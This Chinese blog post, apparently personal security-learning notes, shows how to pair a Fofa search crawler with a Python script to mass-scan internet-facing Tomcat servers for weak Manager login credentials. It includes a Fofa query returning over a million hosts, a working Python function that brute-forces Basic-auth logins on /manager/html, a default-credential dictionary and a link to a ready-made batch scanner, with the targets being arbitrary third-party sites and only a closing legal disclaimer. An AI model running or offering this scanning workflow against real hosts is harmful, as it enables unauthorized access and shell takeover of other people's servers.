使用FofaSpider和Python联动批量挖洞

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

    • 前文链接
    • 前言
    • 前置准备
      • Fofa爬虫
          • 使用教程
          • 下载地址
      • MySQL
          • 安装方法
      • 批量扫描脚本
          • 脚本地址
    • 流程
      • 漏洞复现
      • 编写脚本
      • 目标收集
      • 脚本批量扫描
    • 结语

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php

前言

这里说的挖洞不是说用大型漏洞扫描器对站点进行全站扫描得到漏洞,而是在你已经发现某个资产的漏洞后,或者使用互联网上的公开漏洞,将漏洞资产最大化。

原理其实很简单,确定目标->目标收集(Fofa爬虫)->编写Python脚本->验收成果

在网上很多漏洞没有被修复,即使是nday,甚至是很多年前的漏洞,也可以在Fofa上找到很多。即使是2014年的HeartBleed漏洞,在互联网上也可以找到很多案例(因为我扫出过)。后续你可以通过这些漏洞资产进行反查域名并上交SRC,这是后话,看你喜欢。

本文以方便起见,就用Tomcat的弱口令漏洞来作为案例。

Tomcat的弱口令可以说是贯穿Tomcat各个版本,其实严格来说并不能算是一个漏洞,但是通过它可以拿shell。所以就通过它来开刀。

前置准备

Fofa爬虫

这里推荐博主之前写的Fofa爬虫工具,对非VIP用户比较友好。

使用教程

https://blog.csdn.net/realmels/article/details/128382370

下载地址

https://github.com/13337356453/FofaSpider

MySQL

有没有MySQL其实问题不是很大,有的话方便很多,没有的话要自己改脚本。

安装方法

网上有很多,这里推荐:https://bareth.blog.csdn.net/article/details/107369405

批量扫描脚本

这个其实要自己写,我做了一个Tomcat弱口令的扫描脚本做示例。后期这个项目会不会有其他漏洞的扫描脚本看我心情。

脚本地址

https://github.com/13337356453/Batch-Vulnerabilities/blob/main/Tomcat/WeakPass.py

流程

首先在网站找一个顺眼的漏洞,本文就以Tomcat弱口令漏洞为例。相关的介绍网上有很多。

漏洞复现

我从网上随便找了个复现

访问URL,可以看到Tomcat的主界面。
使用FofaSpider和Python联动批量挖洞_第1张图片
在这里把burpsuite的抓包打开,然后点击右侧的Manage App,弹出登录框,随便输一个之后查看burpsuite中的请求包
使用FofaSpider和Python联动批量挖洞_第2张图片
使用FofaSpider和Python联动批量挖洞_第3张图片
看到请求包中有个名为Authorization的参数,后面是一个Basic MTIzOjEyMw==
把Basic后面的内容解密,发现是base64,内容是填入的账号和密码使用FofaSpider和Python联动批量挖洞_第4张图片
这里它的弱口令是tomcat:tomcat
使用正确的账密登录,再抓包,查看请求包。
使用FofaSpider和Python联动批量挖洞_第5张图片
登录错误的请求包响应码为401,登录成功的为200

编写脚本

有了判断脚本,知道登录过程,还没有验证码。这不直接写脚本?

def attack(ip, port, data):
    target = 'http://' + ip + ":" + str(port) + '/manager/html'
    a = data.split(",")[0] + ":" + data.split(",")[1]
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
        "Referer": 'http://' + ip + ":" + str(port) + "/",
        "Authorization": "Basic " + base64.b64encode(a.encode('utf-8')).decode(),
        "Host": ip + ":" + str(port),
        "Cache-Control": "max-age=0",
        "Connection": "close",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate",
    }
    try:
        r = requests.get(target, headers=headers, verify=False, timeout=5)
        if r.status_code == 200 and "JVM" in r.text:
            return True
    except Exception as e:
        pass

登录成功返回True,登录失败返回空气。

目标收集

Fofa语法title="tomcat" && status_code="200"

不知道为什么Fofa截图放不出来,所以自己去搜,有130多w个资产

130多万个资产,打个弱口令还是简简单单。

打开FofaSpider工具,根据个人情况填写信息(具体使用方法看https://blog.csdn.net/realmels/article/details/128382370)。普通用户用常规爬取可以搞100条数据,不建议冲会员,很贵。
使用FofaSpider和Python联动批量挖洞_第6张图片
这里我浅浅收集了100个,看下运气怎么样。

点击导出数据,数据源看个人情况选择,选择导出到MySQL,填写好信息,导出即可。

本文使用的数据库为fofa,存待扫描数据的表为fofadata,存扫描结果的表为tomresult。(手动建一个数据库就好了,其他的表程序会出手)
使用FofaSpider和Python联动批量挖洞_第7张图片

使用FofaSpider和Python联动批量挖洞_第8张图片

脚本批量扫描

这个脚本还是要自己写,不过这个扫弱口令的我已经写好了,可以直接用。

再运行之前先在WeakPass.py文件里改一些基础配置

TABLENAME = "tomresult"  # 存储扫描结果的表
DATATABLENAME = "fofadata"  # 存储数据来源的表
HOST = "127.0.0.1"
PORT = 3306
USER = "root"
PASSWORD = "root"
DATABASE = "fofa"  # 数据库
USERS = ['tomcat', 'admin', 'manager']  # 用户名字典
PASSWORDS = ['tomcat', 'admin', '123456', '12345678', 's3cret', 'admin123']  # 密码字典

这里根据具体情况修改

假如,你没有按照我之前的流程走,请自己重写GetTarget函数

运行,扫描。扫描成功就有数据了。可以在MySQL里看到。
在这里插入图片描述

结语

大体就是这个流程,通过这个流程来扫描其他漏洞也可以。

最最重要的一点,一定要遵守相关法律法规,禁止使用工具从事违法犯罪行为。

如使用者有任何违法犯罪行为与本文作者无关。

你可能感兴趣的:(安全,python,网络,安全)